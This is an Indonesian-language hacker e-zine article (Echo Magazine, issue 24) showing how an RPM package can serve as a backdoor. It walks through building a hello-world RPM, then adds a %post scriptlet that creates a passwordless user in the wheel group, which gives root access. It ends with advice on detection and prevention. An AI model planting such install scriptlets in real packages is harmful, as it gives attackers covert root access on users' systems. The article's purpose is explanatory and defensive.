Issue‎ > ‎Issue 24‎ > ‎

004.txt

                                                
              .;               .-.              
  .-.  .-.    ;;-. .-..-.      `-' . ,';.  .-.  
.;.-' ;      ;;  ;;   ;' ;.   ;'   ;;  ;;.;.-'  
 `:::'`;;;;'.;`  ``;;'(   ;_.;:._.';  ;;  `:::' 
                       `-'        ;    `.       
ECHO MAGAZINE VOLUME IX, ISSUE XXIV, PHILE 0x04.TXT

RPM as backdoor - Mulyadi Santosa 
mulyadi/dot/santosa/at/gmail/dot/com


      RPM (Redhat Package Manager) adalah format paket yang dipakai pada
distro Redhat dan turunannya. Ada yang berisi binary (aplikasi siap
dijalankan), ada juga yang berisi source code. Yang kedua ini sering
juga disebut source RPM (SRPM) dan harus dikompilasi dulu untuk
menghasilkan binary RPM.

      RPM atau bentuk paket lain berpotensi menjadi celah keamanan. Ini
disebabkan karena proses instalasi berjalan dalam keadaan privilege
root. Dengan demikian, memungkinkan bagi RPM untuk disisipi script 
berpotensi merusak sistem.

Sebagai permulaan, kita lihat dahulu contoh pembuatan RPM binary
berikut.

Kita mulai dengan instalasi tool untuk membantu dalam pembuatan RPM:
# yum install rpmdevtools

Lanjut dengan kita persiapkan dulu struktur direktori untuk pembentukan
RPM.
Perhatikan bahwa kita tidak perlu menjadi root:


$ rpmdev-setuptree

$ tree -aFq ~/rpmbuild/
rpmbuild/
├── BUILD/
├── RPMS/
├── SOURCES/
├── SPECS/
└── SRPMS/

5 directories, 0 files

      Kita pindah ke direktori untuk pembuatan spesifikasi RPM:
$ cd rpmbuild/SPECS
File yang kita buat ini nantinya berfungsi menjadi semacam metadata bagi
RPM itu sendiri. 

      Untuk mempercepat pembuatan file spec, kita bisa pergunakan suatu
perintah untuk menghasilkan suatu template:
$ rpmdev-newspec 
Skeleton specfile (minimal) has been created to "newpackage.spec".

      Kita namai ulang file newpackage.spec menjadi hello.spec. Nama
"hello" akan menjadi nama RPM kita. Jadi aturannya adalah nama file spec
sama dengan nama file RPM.

Isi file hello.spec sebagai berikut:

---------------------------------------------------------------------
$ cat hello.spec

Name: hello
Version:   1.0     
Release:        1%{?dist}
Summary:      A Hello World program :)  

Group:         Applications/File 
License:        GPLv2
Source0:        hello
%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
This is just a simple testing RPM :)

%prep

%build

%install

%clean

%files
%defattr(-,root,root,-)
/usr/bin/hello

%doc

%changelog
---------------------------------------------------------------------

Untuk programnya, kita buat dari source code sederhana berikut:

---------------------------------------------------------------------
$ cat hello.c

#include<stdio.h>

void main()
{
        printf("hello world from rpm\n");

}

---------------------------------------------------------------------

Compile source diatas:
$ gcc -o hello hello.c
Kita anggap file "hello" awalnya disimpan di direktori /tmp.

      Lalu letakkan pada direktori di bawah BUILDROOT. Sebelumnya buat
dulu direktori yang sesuai:
$ cd ~/rpmbuild/BUILDROOT
$ mkdir -p hello-1.0-1.el6.i386/usr/bin/
$ cp /tmp/hello hello-1.0-1.el6.i386/usr/bin/

      Bagaimana kita tahu struktur nama direktori diatas? Jika dipilah
satu persatu, nama diatas didapat dari gabungan [[nama paket
]]-[[version]]-[[release]]-[[arsitektur]]. Jadi berturut-turut di dapat:
hello-1.0-1.el6.i386
Untuk kata "el6.i386" ini bisa berbeda sesuai dengan distro dan
arsitektur prosesor. String ini bisa dilihat dari output "uname -r".
Jadi misalnya:
$ uname -r
2.6.32-71.el6.i686
maka berarti isi string release diakhiri dengan "el6" dan arsitektur
adalah i386 (prosesor intel berbasis 80x86).

      Kini kita berpindah ke direktori SPECS dan memulai pembuatan
paket RPM:
$ rpmbuild -bb hello.spec
Jika tidak ada masalah, akan ada file rpm baru di direktori
~/rpmbuild/RPMS/i386 dengan nama hello-1.0-1.el6.i386.rpm.

      Instalasi langsung dilakukan dengan perintah:
$ cd ~/rpmbuild/RPMS/i386
$ sudo rpm -Uvh hello-1.0-1.el6.i386.rpm

File binary hello yang kita buat sudah berada pada direktori binary:
$ ls -l /usr/bin/hello 
-rwxrwxr-x. 1 root root 4588 Oct 30 18:15 /usr/bin/hello

Sampai disini RPM yang kita buat tidak menimbulkan masalah apapun.
Namun ada bagian yang bisa disalah gunakan, yaitu scripting yang
disisipkan pada bagian %post (setelah instalasi), %pre (sebelum
instalasi) dan seterusnya. Sebagai contoh, coba edit file
hello.spec sehingga sekarang terbaca seperti dibawah ini.
........
%clean

%post
useradd -M -g wheel test &>/dev/null
passwd -d test &>/dev/null

%files
.......

Ulangi kembali pembuatan RPM dengan perintah "rpmbuild -bb". Dan
lakukan instalasi.

Kali ini, sembari melakukan instalasi, akan dibuat user bernama "test"
yang dimasukkan dalam group wheel. User ini juga diset tidak memiliki
password. Kenapa ini bermasalah? Ada dua alasan:
a. Group wheel sering dibuat menjadi group tempat bernaungnya user-user
yang memiliki hak menjalankan perintah sudo
b. User tidak memiliki password.

faktor a dan b, otomatis anda mendapat akses root! Jika anda memiliki
akses fisik ke mesin yang melakukan instalasi RPM ini, artinya anda
bisa menjadi root dengan relatif mudah. Atau jika komputer ini aktif
service SSH nya, maka juga dengan mudah ditembus dan dengan cepat kita
bisa menjadikan diri kita root


Pencegahan:

a. Usahakan mengecek isi suatu file RPM sebelum instalasi dengan
perintah:
$ rpm -qpi --scripts hello-1.0-1.el6.i386.rpm 
....
postinstall scriptlet (using /bin/sh):
useradd -M -g wheel test &>/dev/null
passwd -d test &>/dev/null

^^^^ Awasi bagian postinstall dan sejenisnya dari perintah-perintah
yang berpotensi menimbulkan masalah

b. Hanya install dari repository terpercaya yang memiliki GPG sign,
semisal rpmforge atau EPEL

c. backup, backup, backup. Jadi jika terjadi masalah, anda memiliki
kesempatan untuk roll back dan tidak sampai terjadi masalah kehilangan
data!

Referensi:
How to create an RPM package
http://fedoraproject.org/wiki/How_to_create_an_RPM_package

Shouts:
- Echostaff: y3d1ps, az001, k-159, th3_d4y, lirva32
- the rest of echo community :)
Comments